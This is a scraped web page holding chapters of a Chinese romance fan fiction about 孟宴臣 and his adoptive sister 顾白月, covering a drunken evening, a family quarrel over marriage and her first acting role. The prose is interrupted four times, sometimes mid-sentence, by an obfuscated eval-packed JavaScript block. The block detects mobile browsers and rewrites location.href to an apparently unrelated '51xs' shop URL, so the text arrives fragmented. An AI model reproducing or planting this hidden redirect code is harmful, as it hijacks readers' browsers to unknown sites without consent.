;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9442435|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大班的时候。” 肖亦骁:“???” 很好,那时候皎皎已经五岁半了,不是三岁小孩子,所以要为自己的言论负责。 今天晚上的孟宴臣有点失控,独自喝了将近一瓶酒,顾白月叫了代驾,搀扶着孟宴臣去车上,肖亦骁跟在后面帮忙。 等到两人在车后座安顿好,肖亦骁瞥了一眼醉意微醺的孟宴臣,见他合着眼帘,似睡非睡,就悄悄说:“你们先走,我回去善后,改天再聊啊。” 顾白月:“等一下,骁骁,你们今天晚上都聊啥了,我哥怎么喝成这样?” 肖亦骁心虚地摸鼻子:“东拉西扯瞎吹牛呗,嗳,对了,皎皎,老孟说你要跟他天下第一好,真的假的?” 顾白月想了一会儿,笑了:“这是我上幼儿园的时候说的话吧?我哥怎么还记得。” 是啊,他记得,你也记得,真好…… 肖亦骁顿时觉得孟宴臣也没有那么可怜了,起码并非他一个人牢记着过去,画地为牢,他那些清醒着的疯狂,至少顾白月会懂。 正在说话的两人没有发现,身后孟宴臣不知什么时候悄然睁开了眼,深深凝望顾白月,眼尾有点点水渍。 孟宴臣喝得一身酒气,顾白月不敢将人领回老宅,怕被付闻樱知道了挨骂,就让代驾师傅去了孟宴臣居住的大平层。 国坤集团主要经营房地产,所以孟家缺什么都不缺房子,孟宴臣现在居住的这一套就是国坤集团开发的小区。 这里安保很好,奢华低调的黑色私家车驶进小区时,工作人员尽职尽责地拦截询问,顾白月之前没有来过这里,门卫那里也未曾登记信息,所以保安多问了几句。 顾白月趴在车窗边,露出一张惊艳绝伦的脸,跟他报备自己的姓名和电话号码。 保安莫名显出几分羞臊,有心再攀谈一会儿,冷不丁扫见了隐匿于黑暗中,原本闭目浅眠的孟宴臣,他冷淡眼眸静静望了过来。 保安立马知情识趣地让开。 本来顾白月还担心自己一个人扶不动孟宴臣,好在他还没有醉糊涂,只将胳膊搭在顾白月肩膀上,倒是没有压过来多少重量。 到了门口,顾白月晃了晃孟宴臣:“哥,密码多少?” 孟宴臣很配合地摁下四位数字,是顾白月生日。 该怎么照顾一个酒鬼?顾白月不知道,来不及开灯,只能先找个地方将人安置好。 奈何两人体型差距过大,孟宴臣足足一米八三的身高,顾白月只有一米六九,把人扔到沙发上时,脚下不知绊到了什么,一个踉跄,抱着孟宴臣一块儿摔了下去。 “唔……” 好在高档进口沙发宽大宣软,地上还铺了一层羊毛毯,倒是不怎么疼,只是顾白月一头撞在孟宴臣胸口,他蹙眉闷哼了一声,嗓音嘶哑低沉,透着浓浓压抑。 糟糕糟糕,别把人撞出个好歹来。 顾白月手忙脚乱去扶孟宴臣,一只骨感十足,修长微凉的手忽然伸过来,牢牢将顾白月的手攥住。 暗沉夜色中,孟宴臣平缓冲动,喑哑低语:“别动了,皎皎……” 孟宴臣(三十) 送孟宴臣和顾白月离开后,肖亦骁溜溜达达过来寻赵又司,一副欲言又止的模样。 赵又司白他一眼:“说。” 肖亦骁犹犹豫豫:“又又,我觉得老孟脑子好像有点病,你能不能给他开一副药。” 给赵又司都整无语了:不是,孟宴臣这人是彻底不能要了是吧,怎么哪哪都有点毛病。 “救不活,埋了吧。” 肖亦骁:“啊?” 赵又司:“相思病,无药可医。” 世有生老三千疾,唯有相思不可医。 …… 昏暗房间里,顾白月瞥见孟宴臣灼灼眸色,惊喜地问:“哥,你醒啦,胃里难受吗?” “唔。” 就着交叠相拥的姿势,孟宴臣悄然抱了顾白月一会儿,享受难得的亲昵,他素来都是职场精英装扮,光鲜亮丽,一丝不苟,就连发型都格外干净利落,露出光洁额头。 唯有今天,唯有此时此刻,克己复礼严谨禁|欲的小孟总失了儒雅风度,西装外套敞开,衬衫凌乱,刘海蓬松地软垂下来,遮掩住晦暗不明的眸色,略显狼狈地仰首,嘴角溢出一丝难耐的轻吟。 从顾白月视角看去,刚好望见孟宴臣瘦削锋利,轮廓分明的下颌,以及特别有男性张力急促滑动了几下的喉结。 顾白月以为孟宴臣喝多了不舒服,他面色潮红,薄唇润泽,投射过来的视线格外炙热,连呼吸都是滚烫的。 孟宴臣迟迟不说话,顾白月春山远黛一般的长眉微拧,明净潋滟的桃花眼里清清楚楚地浮现一抹忧虑,为难地咬着唇角:“要不我下去买点药。” 怀中人浓纤合度,柔弱无骨,孟宴臣不过是仗着喝醉了,短暂地获得一次任性的权利,以此隐秘地一偿宿愿罢了,并不敢也不舍得真的冒犯,更不会让顾白月三更半夜外出受累。 孟宴臣逐渐清醒,恢复理智:“不用,哥哥休息一会就好了。” 听他说话还算条理分明,顾白月稍微放心,孟宴臣支着腿坐起身,扶顾白月在沙发上坐好,自己去开了夜视灯。 这套房面积很大,将近两百平,装修风格是很符合孟宴臣性格的新中式,透着一些冷落和压抑,过于干净空荡,雪洞一般,几乎没有多少装饰品。 踏入房间,首先映入眼帘的就是一面巨大的素纱净面屏风,上面嵌着大大小小,五彩斑斓的蝴蝶标本,在暗夜之中闪烁幽幽光泽,有种诡异凄厉的美。 顾白月一下子就被吸引住了,情不自禁地走到蝴蝶屏风边,这些标本艳丽无比,栩栩如生,颜色或深青,或浅绿,或鹅黄,或赤红,在灯光照射下流光溢彩,美不胜收。 仔细看去,隐约能辨识出常见的蓝灰蝶、铜色蝶、燕灰蝶,以及凤蝶和绢蝶,其他珍稀种类就不得而知了。 孟宴臣拿着一杯水走过来时,远远看到顾白月站在繁复绮艳的蝴蝶屏风墙边,立时像被一种难言的氛围掌控,静静凝望。 宿命般的悲凉席卷了他,让孟宴臣几近疯魔。 他朝思暮想,求之不得的美丽蝴蝶啊,竟然蹁跹多姿地主动飞了进来,停留在他枯萎干涸的心田上。 顾白月没有回头,真心夸赞:“哥,你这些蝴蝶标本好漂亮啊……” 孟宴臣缓缓勾起一抹苦笑:倘或你知道这些蝴蝶标本究竟因何而来,是否还会宽宥我? 即便有一千只一万只蝴蝶标本也没用,孟宴臣比谁都清楚自己的心魔,一切不过是隔靴搔痒饮鸩止渴罢了。 “喝点水吧。” 顾白月端起水喝了,喝到一半才意识到自己用的好像是孟宴臣的杯子,不过他神色平淡如水,想来是不小心拿错了,亦或者没有待客的杯子。 这里平常只有孟宴臣一个人住,所以只有一间卧室,其他地方打通了,呈半开放式,用作书房衣帽间和健身房,相互用花木和书架间隔错落。 环视一圈,顾白月戳了戳孟宴臣,苦恼地说道:“只有一张床,哥,今晚怎么睡啊……” 孟宴臣很自然地说:“你睡床,我睡沙发。” 顾白月看了看孟宴臣修长劲挺的大高个子,摇头:“睡沙发多难受,要不我还是回去吧,再说这里也没有我的换洗衣物,太不方便了。” 孟宴臣好笑:“嫌弃你哥?”他领顾白月走到衣帽间,打开其中一个米白色衣柜,从里面拿出一套全新睡衣,“这套衣服我还没上过身,今天晚上先凑合一下。” “好。” 顾白月接过衣服,顺势瞧了一眼整整齐齐挂在柜子里,大部分都是黑白灰色调的一排睡衣,隐约嗅到浅浅乌木沉香味儿,还有一丝干净清爽的雪松气息,不由打趣道:“哥,你的衣服好香啊。” 孟宴臣大约是嗓子痒,低低咳了几声,扭头避开顾白月视线,目不转睛地看向墙壁:“别胡说……” “真的很香嘛。” 孟宴臣转移话题:“我去给你放洗澡水。”他离开时,藏在短发里的耳朵尖一片绯红,脚步略显凌乱。 将洗澡水放好,又拿出一套全新洗漱用品和浴巾,孟宴臣在卫生间待了一会儿,等到脸颊热意消散,这才出来道:“皎皎,快去洗漱吧。” “来啦。” 卫生间里传出哗哗水声,孟宴臣心跳砰砰作响,怕再待下去生出不该用的妄念,几乎落荒而逃,有意躲在阳台上吹冷风,直到顾白月走出来问:“哥哥,吹风机在哪儿?” 孟宴臣下意识回头,就看到了令他终生难忘的一幕,顾白月宛若一支雨后新荷,天然无暇,腰若束素,皓腕凝雪,披散着湿淋淋的长发,孩子气地甩着袖子,可怜又可爱,——孟宴臣的睡衣对她来说,太大了。 “稍等,哥哥去拿。” 孟宴臣再也不敢回头看一眼,仿佛后面横亘着一道万丈深渊。 他从柜子里拿出吹风机,示意顾白月在沙发上坐好,动作温柔地为她打理长发,手指缓缓在发间穿梭。 大概是孟宴臣太过小心翼翼,捧着顾白月的头发,如同对待什么稀世珍宝一般,顾白月舒服得眯起眼睛,昏昏欲睡。 “好了。”孟宴臣关掉吹风机,正要离开,忽然被顾白月抱住腰肢,她睁开水汪汪的大眼睛,含着润泽雾气,语气感动地说:“哥,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9443517|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对我实在太好啦……” 孟宴臣整个人都僵住了,动也不敢动,“你知道就……” 话还未说完,就听得顾白月持续夸赞:“——简直像我妈一样。” 孟宴臣吸一口气,深深无奈:“倒也不必。好了,快去睡觉。” 顾白月乖巧点头,下巴恰好在孟宴臣腹肌上蹭了一下又一下:“哥哥晚安。” 床单被罩全都换了新的,暗沉的藏蓝色映衬得顾白月肌肤新雪一样娇嫩,她困得不行,哈欠连连,强撑着跟孟宴臣打了个招呼,缩在床上就睡了过去,因为对孟宴臣毫不设防的绝对信任,就连睡着时都是软乎乎的,像摊开肚皮的小猫咪一般,脸颊粉糯糯得可爱。 孟宴臣用了比平常多一倍的时间洗漱,出来之后,在小夜灯幽蓝光线下,一眨不眨地看向睡意香甜的女孩,终究克制不住,俯身在顾白月眉心落下一个浅浅的,不带丝毫欲·念的吻。 “晚安。” 孟宴臣躺在沙发上时,并没有像顾白月担心因为空间狭小局促而久久难以入眠,相反,他比此前任何一夜都睡得更加安心。 都说沉疴难愈,但治疗他心疾的药…… 回来了。 第二天一早,顾白月醒来时,没有看到孟宴臣身影,房间里到处都空荡荡的只有她一人。 刷牙洗脸结束,顾白月冷不丁瞅见左侧书房墙壁上挂着一幅字,一眼望去天骨遒美,逸趣蔼然,在上好的雪白宣纸上,用风姿绰约,断金割玉的瘦金体写着一阙词: 十年生死两茫茫,不思量,自难忘。 千里孤坟,无处话凄凉…… 北宋词人苏东坡悼念亡妻之作,词牌《江城子》,深情至此,令人不忍卒读。 顾白月不免多看了几眼,这一看发现有些眼熟,“是哥哥的字……” “皎皎。” 孟宴臣提着早餐开门进来,见顾白月在看自己写得字,不禁心中一动,这幅字有些年头了。 当年他被母亲付闻樱送出国读书,自觉与皎皎名为兄妹,再无可能,时常在唐诗宋词里寻找慰藉。 顾白月因为要跳古典舞的缘故,非常推崇传统文化,孟宴臣爱屋及乌,也颇多涉猎,瘦金体便是其中一项,为的是在濒临绝望,接近崩溃时可以有所宣泄。 这首《江城子》便是在大洋彼岸写成的练手之作。 顾白月笑眯眯转身:“哥哥的字真好看。” 想到词中凄绝迷惘,肝肠寸断之意,孟宴臣深觉不祥,牵着顾白月的手带她离开,“过来吃饭。” 顾白月吃完饭去换衣服,孟宴臣回到书房,凝目端详那首词,虽是千古绝妙好词,但词人与发妻生离死别,阴阳相隔,终究晦气。 他抬手取下来,扔进垃圾桶。 书房里有现成的笔墨纸砚,孟宴臣沉思片刻,挥毫写下: 纤云弄巧,飞星传恨,银汉迢迢暗度。 金风玉露一相逢,便胜却人间无数。 …… 淡淡光影中,孟宴臣低低轻叹: “两情若是久长时,又岂在朝朝暮暮。” 孟宴臣(三十一) 这天上午,蒋云舟打电话邀请顾白月去试镜,顾白月想到他上次对孟宴臣言语不逊,没有立即答应下来。 蒋云舟自我检讨:“好了好了,我保证以后再也不敢得罪孟总了,行不行?” 自小时候起,顾白月就跟着姚见萍学习古典舞,这些年练习下来,大大小小的奖牌得了无数,偶尔也会在影视剧里客串一把,正式演戏这还是头一遭。 好在有多年积淀在,再加上顾白月体态窈窕,气质绝佳,一张脸又实实在在是大杀器,很容易就拿下了蒋云舟新戏《三生奇缘》里的女三角色。 顾白月急于将这个好消息分享给孟宴臣,却在回家后见到一个意想不到的人。 许沁回来了。 她提着行礼站在客厅,冷冷淡淡地看向孟怀瑾和付闻樱,那眼神和表情,不像是看有二十年养育之恩的养父母,更像是看破坏她人生的仇敌。 当年付闻樱发觉儿子对顾白月生出不一般的心思,为了掐断这份孽缘,在同季如兰商议后,顺水推舟接受她的托孤,收了顾白月做养女,又用了一点手段让儿子老老实实出国留学。 那一段时间,可以说付闻樱的大部分心神都放在孟宴臣和顾白月身上,忙得有些应接不暇,难免有些忽视许沁。 谁知许沁竟然偷偷瞒着他们,跟一个不学无术的小混混搞在一起。人要学好不容易,但是想要堕落,可能只是一瞬间的事。 不知从什么时候起,许沁开始抽烟喝酒,时常出入酒吧网吧,为了怕养父母看出端倪,还以方便学习为由,申请住校,夜里翻墙跟宋焰出去寻找刺激。 少年男女自制力薄弱,一旦恋爱脑上头,什么事情做不出来,失了父母老师约束,很快就自我放纵,沉溺于感官肉|欲的低级快乐。 世上哪有不透风的墙,学校渐渐传出一些风言风语,只是畏惧于孟家权势,没人敢拿在明面上说,直到高三那年组织体检…… 后来场面闹得有些不堪,孟怀瑾和付闻樱都没将这些脏污事告知顾白月,只是出面同学校协商,压下了舆论风波,强行让许沁和宋焰分手,匆匆将人送出国避风头。 听说许沁在国外学医,这次回国想进市医院工作。 许沁平静说出自己的职业规划,虽然没有明确提出请孟怀瑾和付闻樱托关系的要求,但字里行间又透着期许。 以许沁的学历和履历,即使出国镀了一层金,想要不熬资历,直接进市医院当主刀医生也是希望渺茫。 付闻樱因为许沁当时执意违拗自己,几次三番维护宋焰,心底有了隔阂,闻言并未接下话题。 倒是孟怀瑾念着多年前同许沁生父的战友情,鼓励养女:“不管怎么说,回家了就好,这段时间先休息休息,调整生物钟,好好准备入职面试。”言下之意,他不会拒绝许沁的求助。 许沁:“好。” 晚上孟宴臣下班回家,带了最近在年轻人之间很流行的网红甜品“花盆蛋糕”,躲着付闻樱提到楼上,放在顾白月手里,“庆祝皎皎试戏成功。” 顾白月用小勺子尝了一口,幸福得眯起眼睛,她从小到大都一个习惯,吃到喜欢的东西就笑眯眯的,偶尔还会摇头晃脑,仿佛浑身都在冒出快乐的小气泡。 “好好吃,谢谢哥哥,哥哥也吃……” 许沁不知道什么时候从房间里出来,倚着门框,平静无波地说:“几年不见,哥哥还是这么偏心,有什么好东西,从来都只想着顾白月一个人。” 不是,她凭什么指责宴臣哥哥啊? 顾白月老实不客气地揭穿许沁:“如果我没记错的话,是你惹怒妈妈,她才不许大家联系你。你要回国的事也只提前告诉了爸爸,哥哥又不知道你今天要回来,怎么给你准备礼物?而且,就算哥哥知道,他又不欠你的,你怎么理直气壮地说出这种话的?” 看顾白月一脸“我好气气哦”的样子,叉腰护短,孟宴臣也就不生气了。 在许沁和顾白月面前,孟宴臣承认自己偏心,但世人没有不偏心的,何况他虽然并没有多疼爱许沁,但一个兄长该有的责任,孟宴臣自问也并未逃避。 世上没有白吃的午餐,许沁嫉妒他对皎皎的偏爱,却从未试着了解过,他为什么偏爱皎皎。 皎皎为他做的一切,有些连父母都不曾做过,是他贫瘠乏味生活中唯一的快乐源泉。 …… 到底是许沁回国后的第一顿晚饭,付闻樱也没有故意难为她的意思,一家五口慢条斯理地用餐。 饭后,付闻樱留几个孩子说话,她掏出一叠照片对许沁道:“既然回来了,以前的事既往不咎,但你现在年纪大了,是时候成家立业,妈妈这里有一些合适的人选,不是逼着你们一时三刻就定下来,先慢慢看着。” 付闻樱最重视规矩体统,无论何时何地都保持着体面,唯有当年被许沁班主任紧急叫到学校,处理许沁和宋焰闹出来的丑事,可谓颜面扫地,一贯引以为傲的家教典范荡然无存。 也是被许沁吓着了,付闻樱至今心有余悸,生怕许沁再来这么一回,不是喜欢谈恋爱吗?干脆挑了合适的相亲对象,早点将人嫁出去,以免她故态复萌。 许沁拿着那一叠被硬塞过来的照片,并不仔细看,而是斜睨顾白月和孟宴臣,“妈妈催着我相亲结婚,那哥哥呢?他不是年纪比我还大吗?” 孟宴臣霍然望了过去,许沁这一招祸水东引,着实触碰到了孟宴臣的底线,他发现这个妹妹实在不够聪明。 付闻樱别有深意地看向儿子:“你之前一直以工作太忙,抽不开身为由,推脱妈妈安排的相亲宴,现在你妹妹回来了,你这个当哥哥的,婚事总不好落在两个妹妹后面。” 她说得是“两个妹妹”,孟宴臣又怎么可能听不明白。 许沁调转枪口:“还有顾白月……” 顾白月心累:合着许沁今天回来,就是为了平等地创死所有人? 然而许沁还未满足,她嘴角轻扬,带着嘲讽之意道:“对了,我忘记了,这条寄生虫现在可不叫顾白月,而是孟……” “许沁!” 孟宴臣打断许沁,神情冷冽如冰:“不要得寸进尺。” 激怒孟宴臣并没有任何好处,毕竟以后整个孟家都要归他掌管,许沁终于安分下来。 付闻樱也不高兴,许沁说话时有难以遮掩的戾气,不符合孟家遵循的名门淑女培养准则,不过…… “皎皎的婚事妈妈也有安排,说起来还是皎皎优秀,妈妈每次出门,都有人明里暗里打听你。” 付闻樱女士不缺人吹捧,但在儿女身上受到他人艳羡,实在是很满足一位母亲的虚荣心。 顾白月笑得很僵:“妈妈,我现在还小,不想那么早结婚。” 付闻樱:“不小了,再说也不一定今年就结婚,遇上喜欢的可以先定下来,接触个两三年再领证,时间刚刚好。” “妈妈……”孟宴臣听得锥心刺骨,他暗含祈求地说:“皎皎她不愿意,您别逼她……” “皎皎?” 付闻樱逼视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9444941|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟宴臣的目光,冷笑:“是不是我们天天喊她的小名,你就忘了皎皎到底叫什么了?” 她看向顾白月:“皎皎,你不妨再提醒你哥哥一遍,在孟家族谱上你到底叫什么名字。” 是的,孟家是非常传统且庞大的家族,分支旁系甚多,至今仍旧遗留着旧派作风,会根据字辈排行为家中子弟命名,规规矩矩地记在族谱中,这是孟家人的象征。 迎着孟宴臣悲凉眸色,顾白月如坐针毡,一字一顿道:“我叫,孟——贺——卿。” 遥远而模糊的记忆浮现在眼前。 十年前,孟宴臣出国留学第一年的清明节,孟怀瑾夫妇带着两个养女去扫墓时,付闻樱忽然对顾白月道:“皎皎,按照我们家的习俗,你的姓名需要改一改,这一点我同你妈妈也曾商讨过,征得她同意了。” 顾白月那时先是丧母,后又失去视作亲兄长的孟宴臣,性格沉默冷清许多,总是一副郁郁寡欢的模样,闻言乖顺道:“好。” 她还能说什么呢。 付闻樱:“当年给你哥哥起名字的时候,还是请一位学识渊博,隐居林野的老先生给测算的,当时准备了一男一女两个名字,男孩叫做宴臣,女孩就叫做贺卿,听起来像龙凤胎一样,都是大吉大利寓意喜庆的好名字。” 顾白月已经无力辩驳。 付闻樱于是带着孩子去了老家祖宅,请长辈一笔一划地添上“孟贺卿”三个字,“孟沁”这个名字几年前就添上了,只是大家都喊惯了许沁,没有改口罢了。 旧事重提,付闻樱笑意端庄:“宴臣,皎皎是你妹妹,是外人眼中的孟贺卿,你可要多替她打算打算,不要辜负你季阿姨遗愿。” 孟宴臣疼得浑身骨头都要碎掉了,咬牙道:“孟宴臣……孟贺卿……,果然像是亲兄妹,妈妈,您还真是不给我留一丝希望……” 他忽然站起身来,头也不回地走进沉沉夜幕。 “哥哥!” 顾白月不顾付闻樱的阻拦,提着裙摆大步追过去,“哥,你等等我,等等我……” 孟宴臣如同陷入魔障之中,动作决绝。 顾白月慌得不行,连忙装作不慎撞到花坛角,浮夸地哎呦一声,假模假式地倒在草地上:“好痛啊。” 前方那人脚步一顿,微微叹息,终是走了回来,蹲下|身揉着顾白月脚踝:“演技这么差,怎么当明星?” 顾白月大言不惭:“没关系,明星不需要演技,再说我长得多好看啊。” 她故意逗趣,孟宴臣却神色恍然,完全笑不出来,眼神空洞麻木,竟是一副哀莫大于心死的样子。 顾白月仰头瞧他:“哥,你别介意,我知道自己是顾白月,不是孟贺卿。” “贺卿,孟贺卿……” 月色冷清如水,孟宴臣低低呓语:“是好名字啊,贺卿得高迁……” 顾白月皱眉:“哥,我知道这是《孔雀东南飞》里,焦仲卿对发妻刘兰芝说的话,难道你也觉得我是贪恋孟家钱财,故意阿谀奉承吗?” “你明知道我不会这么想你,我是说……” 孟宴臣失神许久,轻不可闻道:“卿当日胜贵,吾独向黄泉。” 顾白月听得心惊肉跳:“刘兰芝举身赴清池,焦仲卿自挂东南枝,哥,你不要吓我……” 女孩双眸盈盈含泪,巴掌大的小脸上都是惶恐不安,黏黏糊糊地扯着他衣袖,像一只被暴风雨欺凌的可怜幼莺。 孟宴臣悄然望向她,眼神哀怜,心底却默默下了决断。 孟宴臣(三十二) 自从上次孟宴臣与付闻樱发生争执后,母子两人已经很久没坐下来心平气和地说话了,孟宴臣忙于工作,经常一个人在外居住,唯有顾白月时常去给他送饭送衣服。 冷战持续蔓延,孟家笼罩在一片愁云惨雾之中。 很快,《三生奇缘》的拍摄班底筹建好,蒋云舟要求顾白月提前几天进组,方便与其他人尽快熟悉起来,培养默契。 这段时间,顾白月已经结合原著小说,将剧本看了一遍又一遍,翻来覆去地研究剧情,台词也背得滚瓜烂熟了。 当然,如果进组拍戏的话,也就意味着每天都要早出晚归,说不定还要去外地取景,想要继续瞒着付闻樱是不大可能了。 这天,顾白月提着食盒来到国坤集团的总部大厦,径直去了十九层,姚莫北说孟宴臣去下属部门视察工作了,不在办公室,歉然地请顾白月等一会儿。 顾白月表示没关系,正要找个地方坐着,就见孟宴臣一袭服帖规整的黑西装,领带和衬衣亦是沉郁的浓黑,只有一张脸隐隐有风雪之色,长腿一迈,一步两个台阶地从楼梯间走过来。 像这样从头到脚一身黑,很容易显得沉闷呆板,但孟宴臣就是有办法穿出完全不一样的感觉,扑面而来的一股禁欲清冷之气,凛凛若神,风姿矫矫,似有若无地透出上位者的霸道。 顾白月看到芝兰玉树一般的孟宴臣,歪着脑袋,与有荣焉地笑:“哥,你是不是背着我,一个人偷偷吃增高剂了?不过,哥哥下次走路可以慢一点哦,助理小姐姐都跟不上了。” 按照国坤的组织架构,作为总经理的孟宴臣,一共有三名助理,这次他下到其他楼层视察,特意留了姚莫北在办公室等顾白月,带了另外一男一女两名助理做辅助工作。 孟宴臣本就身形笔挺,双腿修长,再加上方才心系顾白月,一时情急走得快了点,那名男助理还好,女助理孙瑶瑶踩着高跟鞋稍显吃力。 听到顾白月这么说,孙瑶瑶投来一记感谢的目光,孟宴臣回头对两名助理道:“辛苦了,先去休息吧,稍后我请大家喝下午茶。” 顾白月跟着孟宴臣去了办公室,一边往外掏饭菜,一边不无遗憾地感慨:“莫阿姨做的饭多好吃啊,哥哥怎么还这么清瘦呢?” 但凡顾白月过来送饭,孟宴臣都会留她一起吃,顾白月也知道这一点,所以习惯性地在孟宴臣身旁坐好,却只夹了几筷子青菜慢慢吃,碗里的米饭仅仅有丸子大小的一团。 孟宴臣担忧:“怎么就吃这么一点,今天的菜色不合胃口?” 顾白月解释:“马上就要进组了,导演建议控制一下体重,说是上镜好看。” 孟宴臣浅浅皱眉:“你已经够瘦了。”何况就皎皎这种脸来说,完全不用担心是否好看的问题,她单单是站在那里,就已经赢了。 提到拍戏,顾白月有点发愁:“哥,妈妈要是知道我去拍戏,会不会大发雷霆啊,她这几天本就心里不快,万一再被我气出个好歹来。” “没事。”孟宴臣用公筷夹了一块红烧肉放在顾白月碗里,“别担心,一切有我呢。” 吃过饭,兄妹两人闲聊了几分钟,顾白月之前虽然也拍过戏,但都是靠着姚见萍得意门生的名号,以及刷脸得来的机会,而且大多是在剧中客串一些舞者形象,纯属玩票性质的小打小闹。 现在既然要认认真真走这一条路,就要收起轻忽之心,以兢兢业业的态度对待这来之不易的角色。 为了更好地诠释人物,磨炼演技,顾白月特意托了姚见萍,利用她在演艺圈的人脉,请一位姓闻的表演系老教授出山指点。 正说着,花姐过来接顾白月去老教授家拜访,因为是第一次上门,为表慎重,需要提前一点到。 孟宴臣不放心地问:“花姐帮你准备了什么礼物?” 顾白月掰着手指头数,几盒顶级茶叶太平猴魁,还有一箱国产清酒,六包一品酥的各色点心。 看得出用心,也不算菲薄,但要说贵重,还没到让人不好意思藏私,对顾白月倾囊相授的地步。 孟宴臣想了想,从抽屉里拿出一个锦盒:“把这个也带上。” 顾白月打开一看,里面赫然是一支晶莹璀璨的男士钻石腕表,来自一个驰名国际的经典品牌,还是最新全球限量款,听说一经推出就被各大世家豪门抢购一空,普通人连见都见不到。 顾白月心疼:“不要不要,哥,这表多贵啊,咱留着自己戴。” 孟宴臣不想让顾白月踏足名利场,置身权利漩涡,但既然顾白月坚持如此,不惧吃苦,孟宴臣便尽力保驾护航,耐心指点她:“你说的闻老教授我也知道,听说他为人有些清高孤傲,在圈子里又知名度颇高,即便碍于姚老师的面子答应教你,未必使出十分力气。” 顾白月疑惑:“那我们还送这么好的表?” 孟宴臣恍惚一声轻笑,用尽商人的精明算计,帮顾白月铺路:“皎皎,哥哥今天教你一个道理,再厉害的人都会有软肋。闻老教授的软肋就是他儿子,他虽然目无下尘,但这位闻少却是出了名的纨绔,喜欢豪车豪宅名表,之前还曾因为抢不到这一支表在商场大闹,你把这支表给闻老教授,他会心动的。” 顾白月:“哥,你怎么知道这些的?”据她所知,孟宴臣不喜欢追星看剧啊。 孟宴臣细细说明:“这位闻少是咱们集团东新区别墅群的目标客户之一,销售部对他做过背景调查,我看过资料。” “哇,哥,你也太厉害了吧,看一遍就能记住?”顾白月满脸惊叹,崇拜不已,又耐不住好奇心:“哥,你说人人都有软肋,那你的软肋是什么?” 孟宴臣淡笑不语:……是你。 要是孟宴臣这个兄长,对顾白月是真没话说,虽然毫无血缘关系,却时时处处替她打算,顾白月感受到孟宴臣的用心,握着孟宴臣的手摇了摇:“谢谢哥哥,哥哥最好啦!” 等到顾白月脚步轻快地离开,时隔多日,孟宴臣第一次主动给付闻樱打电话,开门见山地说:“妈妈,皎皎去拍戏的事,您已经知道了吧?” 付闻樱语调冷硬,同样直言不讳:“是,我不但知道了,还知道你爸爸正好认识《三生奇缘》的投资商,我们已经准备好劝他撤资了,毕竟,你爸爸有提醒友人避免陷阱的义务。” 孟宴臣努力隐忍心中怒意,“您尽管劝说,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9446407|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,我会以个人名义注资。” “孟宴臣!” 电话那头的母亲微微提高声音,依然不失贵妇风范:“你是我儿子,你的钱难道就不是孟家的吗?不要以为妈妈不知道你在想什么,前一段皎皎刚回来,你带着她去玩去闹打游戏泡酒吧,妈妈都可以睁一只眼闭一只眼,但你不该越界。” 果然,精明强悍如付闻樱女士,怎么可能看不出他对皎皎依然心存妄念,爱|欲恣蔓,之所以选择无视,不过是引而不发,一击必中罢了。 即便时至今日,孟宴臣早已成年自立,但他的资金流向,仍然要收到母亲的督管,一旦超过十万就必须有合情合理的去向。 见孟宴臣不说话,付闻樱以为自己的警告起了作用:“不要自讨苦吃,孩子,妈妈会给你寻一位名门淑女。至于皎皎,娱乐圈是个大染缸,不适合女孩子,还是老老实实回家的好,妈妈已经替皎皎找好关系,去本市艺术院校做舞蹈老师,清闲又体面,我和你爸又不指望皎皎养家糊口。” 尽管不喜欢许沁,但毕竟养了这么多年,再加上收到孟怀瑾的嘱托,付闻樱近来四处奔走,为许沁联系市医院的医生一职,为了公平起见,一视同仁,还顺带将皎皎的工作安排给提了出来。 市医院入职考核十分严苛,需要经过层层选拔,毕竟人命关天,非同小可,所以许沁的工作只是有些眉目,暂时还未定下来。 好在,皎皎的简历实在漂亮,不但有姚见萍这位响当当的国家一级舞蹈演员做老师,还一路斩获大大小小几十种舞蹈奖项,付闻樱一开口,校领导就乐呵呵地答应下来了,还主动提高了待遇。 